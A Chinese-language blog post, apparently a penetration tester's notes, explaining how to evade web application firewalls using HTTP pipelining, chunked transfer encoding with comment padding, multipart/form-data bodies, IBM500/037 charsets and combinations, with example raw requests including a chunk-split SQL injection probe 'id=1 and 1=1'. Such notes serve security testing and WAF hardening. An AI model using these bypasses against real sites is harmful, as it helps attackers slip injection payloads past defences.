WAF bypass
pipline
phpline绕过利用了HTTP的管道化技术,HTTP遵循请求模型,发起A请求,回复A请求的响应,WAF也如此,利用这个原理使用管道化连接可以在发起请求的同时发送多个HTTP请求。
这种方法绕过WAF的原因是WAF拦截到数据包检测Content-length,超出长度部分作为没用的数据放行了从而达到绕过。
1、在BP中去掉勾选“ Content-Length更新 ”
2、将数据包中 Connection 从 close 修改为持久连接的状态,即 keep-alive
3、保持Content-Length的值不变,将数据包复制到原数据包内容后面的位置,测试过程只需要带一个cookie。
example
POST /phptest.php HTTP/1.1
Host:xxx.xx.xx.xx
Cookie:xxxx=xxxxxxxx
.................
Content-Length:4
Connection:keep-alive
id=1POST /phptest.php HTTP/1.1
Host:xxx.xx.xx.xx
.................
Content-Length:4
Connection:keep-alive
id=1
分块传输
分块传输编码是超文本传输协议(HTTP)中的一种数据传输机制,允许数据分为多个部分,仅在HTTP/1.1
中提供。
长度值为十六进制
,也可以通过在长度值后面加上分号
做注释,来提高绕过WAF的概率
需要在请求头添加 “Transfer-Encoding=chunked” 才支持分块传输
原始 Payload
id=1 and 1=1
分块传输 Payload
3;注释内容
id=
1;注释内容
1
3;注释内容
an
1;xxxx
d
4;xxxx
1=1
0;xxxx
协议覆盖
HTTP协议覆盖绕过,也叫边界传输绕过
,是通过一种http传文件的协议,同时也可以传数据。
绕过waf原理是waf没有考虑到这种协议可以传数据直接当做文件放行了
HTTP协议覆盖绕过是通过更换Content-Type
的类型来绕过WAF的检测。
以下是四种常见的Content-Type
text/html
application/json
application/x-www-form-urlencoded
multipart/form-data
WAF对multipart/form-data
协议的检测比较少,或者把他当作文件上传来检查,可利用这个特性对WAF进行绕过。
其中boundary
后面的test
不固定,它的作用代表分隔符,--test
开始,--test--
结束。
正常POST请求方式是“id=123”,但在 "multipart/form-data" 协议内发送id=123,需要 “form-data:name="id”,然后空一行输入123。
POST /phptest.php HTTP/1.1
Host:xxx.xx.xx.xx
Cookie:xxxx=xxxxxxxx
.................
Content-Type:multipart/form-data;boundary=test
Content-Length:89
--test
Content-Disposition:form-data;name="id"
123
--test--
当然,也可以通过加密来进一步增加绕过WAF的概率。
通过在Content-Type类型后面加入 "charset=ibm500","charset=ibm037" 编码
POST /phptest.php HTTP/1.1
Host:xxx.xx.xx.xx
Cookie:xxxx=xxxxxxxx
.................
Content-Type:multipart/form-data;boundary=test,charset=ibm500
Content-Length:89
--test
Content-Disposition:form-data;name="id"
123
--test--
两个参数可用两次分隔符来传输
POST /phptest.php HTTP/1.1
Host:xxx.xx.xx.xx
Cookie:xxxx=xxxxxxxx
.................
Content-Type:multipart/form-data;boundary=test
Content-Length:89
--test
Content-Disposition:form-data;name="id"
123
--test
Content-Disposition:form-data;name="submit"
提交
--test--
组合
协议覆盖+分块传输
POST /phptest.php HTTP/1.1
Host:xxx.xx.xx.xx
Cookie:xxxx=xxxxxxxx
.................
Content-Type:multipart/form-data;boundary=test,charset=ibm500
Content-Length:89
1;fankfandlnvlanslfnaldnf
-
1;adjanknvkzxnvlur
-
1;hakdnlanslciaosff
t
3;jaddlnlxiocjoana
est
标签:HTTP,form,--,WAF,Content,xx,bypass,test
From: https://www.cnblogs.com/IceSeclude/p/17182073.html